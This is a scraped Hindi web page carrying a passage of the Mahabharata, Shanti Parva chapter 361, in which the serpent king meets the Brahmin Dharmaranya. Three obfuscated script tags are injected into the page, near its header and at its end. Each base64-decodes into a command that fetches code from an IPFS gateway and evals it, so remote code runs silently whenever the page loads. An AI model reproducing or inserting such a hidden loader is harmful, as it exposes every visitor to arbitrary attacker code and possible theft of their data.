महाभारत शान्ति पर्व अध्याय 361 श्लोक 1-16
गणराज्य | इतिहास | पर्यटन | भूगोल | विज्ञान | कला | साहित्य | धर्म | संस्कृति | शब्दावली | विश्वकोश | भारतकोश |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
एकषष्ट्यधिकत्रिशततम (361) अध्याय: शान्ति पर्व (मोक्षधर्म पर्व)
कषष्ट्यधिकत्रिशततमोऽध्यायःनागराज और ब्राह्मण का परस्पर मिलन तथा बातचीत
भीष्मजी कहते हैं - युधिष्ठिर ! यह कहकर नागराज मन-ही-मन उस ब्राह्मण के कार्य का विचार करते हुए उसके पास गये। नरेश्वर ! उसके निकट पहुँचकर बुद्धिमान नागेन्द्र, जो स्वभाव से ही धर्मानुरागी थे, मधुर वाणी में बोले-। ‘हे ब्राह्मणदेव ! आप मेरे अपराधों को क्षमा करें। मुझ पर रोष न करें। मैं आपसे पूछता हूँ कि आप यहाँ किसके लिये आये हैं ? आपका क्या प्रयोजन है ? ‘ब्रह्मन् ! मैं आपके सामने आकर प्रेमपूर्वक पूछता हूँ कि गोमती के इस एकान्त तट पर आप किसकी उपासना करते हैं ?’
ब्राह्मण ने कहा - द्विजश्रेष्ठ ! आपको विदित हो कि मेरा नाम धर्मारध्य है। मैं नागराज पद्मनाभ का दर्शन करने के लिये यहाँ आया हूँ। उन्हीं से मुझे कुछ काम है। उनके स्वजनों से मैंने सुना है कि वे यहाँ से दूर गये हुए हैं, अतः जैसे किसान वर्षा की राह देखता है? उसी तरह मैं भी उनकी बाट जोहता हूँ। उन्हें कोई क्लेश न हो। वे सकुशल घर लौटकर आ जायँ, इसके लिये नीरोग एवं योगयुकत होकर मैं वेदों का परायण कर रहा हूँ।
नाग ने कहा - महाभाग ! आपका आचरण बडत्रा ही कल्याणमय है। आप बडत्रे ही साधु हैं और सज्जनों पर स्नेह रखते हैं। किसी भी दृष्टि से आप निन्दनीय नहीं हैं; क्योंकि दूसरो को स्नेहदृष्टि से देखते हैं। ब्रह्मर्षे ! मैं ही वह नाग हूँ, जिससे आप मिलना चाहते हैं। आप मुझे जैसा जानते हैं मैं वैसा ही हूँ। इच्छानुसार आज्ञा दीजिये, मैं आपका कौन-सा प्रिय कार्य करूँ ? ब्रह्मन् ! अपने स्वजन (पत्नी) से मैंने आपके आगमन का समाचार सुना है; इसलिये स्वयं ही आपका दर्शन करने के लिये चला आया हूँ। द्विजश्रेष्ठ ! जब आप यहाँ तक गा गये हैं, तब अब कृतार्थ होकर ही यहाँ से लौटेंगे; अतः बेखटके मझे अपने अभीष्ट कार्य के साधन में लगाइये। आपने हम सब लोगों को विशेषरूप से अपने गुणों से खरीद लिया है; क्योंकि आप अपने हित की बात को अलग रखकर मेरे ही कल्याण का चिन्तन कर रहे हैं।
ब्राह्मण ने कहा- महाभाग नागराज ! मैं आपही के दर्शन की लालसा से यहाँ आया हूँ। आपसे एक बात पूछना चाहता हूँ, जिसे में स्वयं नहीं जानता हूँ। मैं विषयों से निवृत्त हो अपने-आप में ही स्थित रहकर जीवात्माओं की परमगतिस्वरूप परब्रह्म परमात्मा की खोज कर रहा हूँ, तो भी महान् बुद्धियुक्त गृह में आसक्त हुए इस चंचल चित्त की उपासना करता हूँ (अतः मैं न तो आसक्त हूँ और न विरक्त हूँ)। आप चन्द्रमा की किरणों की भाँति सुखद स्पर्श वाले और स्वतः प्रकाशित होने वाले सुयशरूपी किरणों से युक्त अपने मनोरम गुणों से ही प्रकाशमान हैं। पवनाशन ! इस समय मेरे मन में एक नया प्रश्न उठा है। पहले इसका समाधान कीजिये। उसके बाद मैं आपसे अपना कार्य निवेदन करूँगा और आप उसे ध्यान से सुनिये।
« पीछे | आगे » |
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>